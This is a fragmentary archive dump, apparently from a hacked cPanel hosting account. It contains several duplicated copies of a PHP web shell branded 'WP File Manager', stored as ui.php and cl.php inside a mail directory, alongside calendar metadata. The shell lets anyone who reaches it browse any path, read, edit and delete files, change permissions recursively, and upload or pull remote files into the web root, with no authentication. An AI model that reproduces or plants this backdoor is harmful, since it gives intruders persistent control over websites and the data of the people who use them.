"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]¸.ô BB"no-reply@drsupernova.com/.metadatanu„[µü¤[calendar] protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. type VCALENDAR [addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK PK“&{]„N9³§Ë§Ëno-reply@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { 